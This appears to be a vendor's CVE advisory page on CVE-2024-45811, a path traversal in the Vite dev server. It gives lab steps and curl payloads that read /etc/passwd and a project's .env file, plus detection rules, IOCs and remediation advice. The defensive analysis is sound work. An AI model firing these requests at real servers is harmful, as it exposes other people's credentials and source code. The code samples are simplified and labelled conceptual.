☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.8 🐛 CWE-200
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-45811

CVE-2024-45811 Path Traversal in Vite
📅 PUBLISHED: 2024-09-17 20:08 UTC 🔄 UPDATED: 2026-09-23 20:34 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.06%
👁️
1.06% probability
26.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-45811 is a path traversal vulnerability in Vite, a popular frontend build tool. The vulnerability allows an attacker to bypass the @fs serve allow list by appending ?import&raw to a URL, enabling the retrieval of arbitrary file contents from the server's filesystem. This can lead to the exposure of sensitive information such as source code, configuration files, and credentials. The vulnerability has been patched in recent versions, and users are strongly advised to upgrade. No known workarounds exist.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Vite is an npm package. This vulnerability affects the development server and preview server, which are commonly used during development and testing. If a developer's environment is exposed to a network (e.g., via a misconfigured firewall or a public demo), an attacker could exploit this to steal source code or secrets. Organizations should ensure that Vite dev servers are not exposed to untrusted networks and that all development dependencies are kept up to date.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.8 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: None
  • Availability Impact: None

The threat level is medium due to the low complexity and network attack vector, but the impact is limited to low confidentiality. However, in practice, the exposure of source code or configuration files can be critical for further attacks.

Deep Dive & Mechanics

Vite's @fs serve allow list is designed to restrict file access to only those within the project's root directory. The vulnerability arises from improper handling of the ?import&raw query parameter. When a request like /@fs/path/to/file?import&raw is made, Vite's internal logic incorrectly processes the query string, bypassing the allow list check. This allows an attacker to read any file on the filesystem that the Vite server process has access to.

The root cause is a lack of validation for the ?import&raw parameter combination. The raw parameter is intended for importing files as raw strings, but when combined with import, it triggers a code path that does not enforce the @fs restrictions.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In vulnerable versions, the allow list check is skipped when ?import&raw is present
if (url.includes('?import&raw')) {
  // Bypass @fs allow list
  return fs.readFileSync(filePath);
}

Patched Code (Conceptual):

// In patched versions, the allow list check is enforced regardless of query parameters
if (url.includes('?import&raw')) {
  if (!isInAllowList(filePath)) {
    throw new Error('Access denied');
  }
  return fs.readFileSync(filePath);
}

The patch ensures that the @fs allow list is always checked before serving any file, even when the ?import&raw parameter is present.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Install a vulnerable version of Vite: npm install vite@5.4.5
  2. Create a simple Vite project: npm create vite@latest
  3. Start the dev server: npx vite --host 0.0.0.0

Exploitation:

# Attempt to read /etc/passwd
curl "http://target:5173/@fs/etc/passwd?import&raw"

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Additional Payloads:

# Read .env file
curl "http://target:5173/@fs/path/to/project/.env?import&raw"

# Read package.json
curl "http://target:5173/@fs/path/to/project/package.json?import&raw"

Blue Team

Detection:

  • Monitor for requests containing ?import&raw in the URL path.
  • Look for requests to /@fs/ paths that are not expected.
  • Alert on any successful file read attempts outside the project root.

Hunting:

  • Search web server logs for patterns like ?import&raw and /@fs/.
  • Correlate with known Vite server versions.

Indicators of Compromise (IOCs)

  • Network: HTTP requests containing ?import&raw in the query string.
  • File System: Unexpected access to files outside the project root via Vite dev server.
  • Logs: Vite server logs showing requests to /@fs/ paths with ?import&raw.

Detection Engineering

YARA Rule

rule CVE_2024_45811_Vite_Path_Traversal {
    meta:
        description = "Detects exploitation attempts of CVE-2024-45811 in Vite"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-45811"
    strings:
        $s1 = "?import&raw" ascii wide nocase
        $s2 = "/@fs/" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-45811 Vite Path Traversal Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-45811 in Vite
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "?import&raw"
        cs-uri-stem|contains: "/@fs/"
    condition: selection
falsepositives:
    - Legitimate use of raw imports in development
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45811 Vite Path Traversal Attempt"; flow:to_server,established; content:"?import&raw"; http_uri; content:"/@fs/"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Vite to a patched version: npm install vite@5.4.6 (or later).
  2. If immediate upgrade is not possible, restrict network access to the Vite dev server (e.g., bind to localhost only).
  3. Review and rotate any secrets that may have been exposed.

Long-term Measures:

  • Implement network segmentation to prevent exposure of development servers.
  • Use a reverse proxy with strict access controls in front of Vite dev servers.
  • Regularly audit dependencies for known vulnerabilities.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact intelligence@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-45811/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.